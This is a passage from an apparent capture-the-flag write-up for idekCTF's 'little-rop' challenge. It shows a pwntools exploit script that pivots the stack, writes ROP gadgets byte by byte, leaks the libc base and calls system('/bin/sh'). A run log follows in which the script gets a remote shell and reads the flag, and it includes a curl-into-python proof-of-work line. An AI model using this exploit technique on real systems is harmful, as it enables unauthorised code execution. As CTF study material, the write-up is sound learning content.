where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.4) #rbp reset and write pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = p64(0x404d08 + 0x3d) #set rbp s(pay) sleep(0.4) # 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.4) #2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # .text:00000000000C7389 5F pop rdi # .text:00000000000C738A C3 retn pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389 s(pay) sleep(0.4) #3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.4) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = b'a'*0x1 # ip() s(pay) sleep(0.4) # set rop again # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = p64(0x404d18 + 0x3d) #set rbp s(pay) sleep(0.4) # 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.4) #2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # .text:0000000000114870 write pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870 s(pay) sleep(0.4) #3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.4) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = b'a'*0x1 # ip() s(pay) sleep(0.4) # will be used rbp when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d00+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = p64(0x404a00) s(pay) sleep(0.4) # will be used when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d10+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = p64(1) #set rdi s(pay) sleep(0.4) # set ret fengshui_rbp_ret(base=0x404d20) pay = b'd'*0x20 pay += p64(0x404d20+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = p64(vuln_lea_read) s(pay) sleep(0.4) # run gg pay = b'c'*0x20 pay += p64(0x404d00) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = b'a'*0x1 # ip() s(pay) sleep(0.4) # obtain libc base leak = r(0x40) info(f"leak: {leak}") # pi() leak = leak[0x10:0x10+8] info(f"leak: {leak}") leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym._IO_2_1_stderr_ info(f"libc base: {hex(l.address)}") # set final rop payload !!! retn = l.address + 0xC738A pop_rdi_retn = l.address + 0xC7389 bin_sh = l.address + 0x1D8678 system = l.sym.system pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2 pay += p64(0x4049b8+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) s(b"win") pi()
Result
ubuntu@4b44540d70d5:~/study/idekCTF/attachments$ python3 solve5_server.py [+] Opening connection to little-rop.chal.idek.team on port 1337: Done [*] cmd = b'python3 <(curl -sSL <https://goo.gle/kctf-pow>) solve s.AA+r.AABye4oxHgxTHZSoOwrZKMUf' [*] answer: s.AABgMxwKVIDz4moR8Uk/af0BoBLAeQkOZjkQNHdae4DzAiFPnLWeYJAPaF0gck/BN4elxuR5RFPgQ8KgfJXoo5hzDGRz4q5ggxKyh5ek96C133SsIyETSwiBDtUVYEXi8B/Tz8z/JZrhIGIvFElTwvWYpSu0Op9esxXt8SVvPdnKtA5Jt/03Tfh6yfhJmaDUPVN5ek02R3jwxD2s04D8e2jR 100%|█████████████████████████████████████████████████████████████████████████| 5/5 [00:04<00:00, 1.19it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.19it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.14it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.19it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.19it/s] 100%|█████████████████████████████████████████████████████████████████████████| 2/2 [00:01<00:00, 1.20it/s] [*] leak: b'Correct\\naM@\\x00\\x00\\x00\\x00\\x00\\xa0\\xb6\\x821xz\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J@\\x00\\x00\\x00\\x00\\x00\\x89sm1xz\\x00\\x00' [*] leak: b'\\xa0\\xb6\\x821xz\\x00\\x00' [*] leak: 0x7a783182b6a0 [*] libc base: 0x7a7831610000 [*] Switching to interactive mode $ cat /flag.txt idek{R0p_r0P_R0P_5HOW_u$_7HE_R0P}$ [*] Interrupted [*] Closed connection to little-rop.chal.idek.team port 1337 ubuntu@4b44540d70d5:~/study/idekCTF/attachments$